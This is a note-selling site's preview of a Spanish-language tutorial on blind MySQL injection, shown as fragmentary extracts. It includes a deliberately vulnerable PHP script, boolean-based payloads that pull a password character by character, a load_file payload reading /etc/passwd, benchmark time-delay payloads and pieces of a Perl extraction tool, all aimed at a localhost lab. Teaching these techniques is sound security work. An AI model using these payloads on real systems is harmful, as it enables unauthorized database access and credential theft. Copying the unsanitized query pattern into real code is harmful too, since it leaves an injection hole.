Search for notes by fellow students, in your own course and all over the country.
Browse our notes for titles which look like what you need, you can preview any of the notes via a sample of the contents. After you're happy these are the notes you're after simply pop them into your shopping cart.
Title: Hacking
Description: It's a complete notes on Blind MySQL Injection of Ethical Hacking
Description: It's a complete notes on Blind MySQL Injection of Ethical Hacking
Document Preview
Extracts from the notes are below, to see the PDF you'll receive please use the links above
Blind MySQL Injection
Técnicas de inyección a ciegas en MySQL
Autor: ka0x
com>
- NullWave07
Estos errores se utilizan en
los ataques SQL Injection para obtener información sobre la base de datos
...
Una aplicación web recibe datos desde el cliente
...
En los ataques de Sql Injection
normales, cuando enviamos consultas SQL en la aplicación vulnerable nos imprime el
resultado, pero en Blind SQL Injection no nos imprime nada (inyección a ciegas)
...
0x02: Tabla de la DB y archivo vulnerable
...
O
...
00 sec)
mysql>
Archivo vulnerable:
# CONFIG
$host = 'localhost';
$dbuser = 'root';
$dbpass = 'password';
$dbname = 'blind';
#
echo "
...
M LABS 2008
$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($dbname,$db);
$sql = "SELECT * FROM users WHERE id="
...
O
...
$result[0]
...
$result[1]
...
$result[2]
...
php?id=1 AND 1=1
En este ejemplo mostramos valor true, si la aplicación es vulnerable nos debería
imprimir el resultado que esta asignado (el user_id y el username)
...
php?id=1 and 1=0
Valor falso, si la aplicación es vulnerable no nos debería de mostrar nada
...
mysql> use blind;
Database changed
mysql> select COUNT(*) from users;
++
| COUNT(*) |
++
| 3 |
++
1 row in set (0
...
http://localhost/blind
...
http://localhost/blind
...
0x05: Sacando número de registros de la tabla "users"
Ahora veremos como sacar el número de registros que tiene la tabla "users"
...
php?id=1 AND (SELECT Count(*) FROM users) > 4
Como la tabla tiene 3 registros nos dará un valor false, o sea no mostrará nada (3 < 4)
http://localhost/blind
...
0x06: Buscando los nombres de las columnas
http://localhost/blind
...
http://localhost/blind
...
Bien ya tenemos el nombre de una columna, solo tendríamos que ir probando y
buscando otras
...
php?id=1 AND (SELECT length(password) FROM users where
id=1) > 9
Al tener la contraseña 7 caracteres, nos devolverá un valor FALSE
...
php?id=1 AND (SELECT length(password) FROM users where
id=1) = 7
Como la contraseña tiene 7 caracteres, nos devolverá un valor TRUE
...
* La función SUBSTRING se usa para extraer una subcadena de otra cadena,
especificando la posición del primer carácter y el número de caracteres que se desean
extraer
...
00 sec)
mysql>
0x07a: Leiendo registros de la tabla
http://localhost/blind
...
Ya tenemos el primer carácter de la contraseña
...
php?id=1 AND ascii(substring((SELECT password FROM users
where id=1),2,1))=50
ASCII 50 = 2
TRUE, ya tenemos el segundo carácter de la contraseña y así seria todo el rato hasta
dar con la contraseña completa
...
123 ) ;
my $DEFAULT_THREADS_TIME = 1 ;
#
use LWP::UserAgent ;
sub _HELP_AND_EXIT
{
die "
...
...
php?id=1
tn
...
p
...
l <#> Maximum table name length '$MAX_FIELD_LENGTH'
...
h Help (also with help)
...
chr($ascii) ) ;
if( $res eq 'yes' and $pos == $position ){
$char_printed = $can_exit = 1 ;
print Ws "STOP $position\n" ;
$sql_message
...
\n" ;
last ;
}
}
$position++ ;
}
print "[i] SQL_FIELD:\n$sql_message\n" ;
}
sub _CHECKING
{
my ($p, $position) = @_ ;
my $counter = 0 ;
my $stop_position ;
foreach my $ascii ( @ascii )
{
$counter++ ;
if( $counter % $p>{'t'} == 0 )
{
my $stop_position ;
eval
{
$SIG{'ALRM'} = sub { die "non_stop\n" } ;
alarm $DEFAULT_THREADS_TIME ;
my $line =
$stop_position = (split( / /, $line))[1] ;
alarm 0 ;
} ;
if( ($stop_position) and $stop_position == $position ){ print
"\nnext position\n" ; exit(0) ; }
}
unless(my $pid = fork )
{
print Ws "pid:$pid\n" or die ;
my $url = $p>{'u'}
...
$p>{'cn'}
...
$p>{'tn'}
...
$p>{'id_value'}
...
',1))='
...
" AND 1=1")>content ,
$ua>get( $p>{'u'}
...
Por defecto el usuario root@localhost puede usar esta función y otros usuarios con
privilegios FILE
...
php?id=1 and
substring(load_file(0x2f6574632f706173737764),1,1)=CHAR(144)
Como todos los /etc/passwd empiezan por "root:x:0" puse CHAR(144) = r y
efectivamente nos tira un valor TRUE
...
0x09: La función benchmark
La función benchmark genera un retardo de tiempo
...
En estos casos es util para un atacante hacer una consulta a la
base de datos para pausar por ejemplo en 5 segundos
...
80 sec)
mysql>
Calcula el hash md5 (ka0x) 20
...
000 de veces
...
80 segundos (en esto depende el procesador)
...
80 segundos
...
php?id=1/**/AND/benchmark(20000000,md5(0x6b613078))
En muchos exploits podemos ver que en vez de buscar alguna palabra en la página
Web vulnerable para ver si la consulta es correcta, usan la función benchmark para
crear un retardo en la consulta de X segundos
...
Más información sobre esta función:
http://www
...
com/papers/149
__EOF__
Bueno espero que les haya gustado este pequeño paper y que hayan resuelto algunas
de las dudas que tenían
...
Cualquier duda que tengan respecto a este tema pueden
contactar conmigo enviándome un email a ka0x01[at]gmail
...
// ka0x
Title: Hacking
Description: It's a complete notes on Blind MySQL Injection of Ethical Hacking
Description: It's a complete notes on Blind MySQL Injection of Ethical Hacking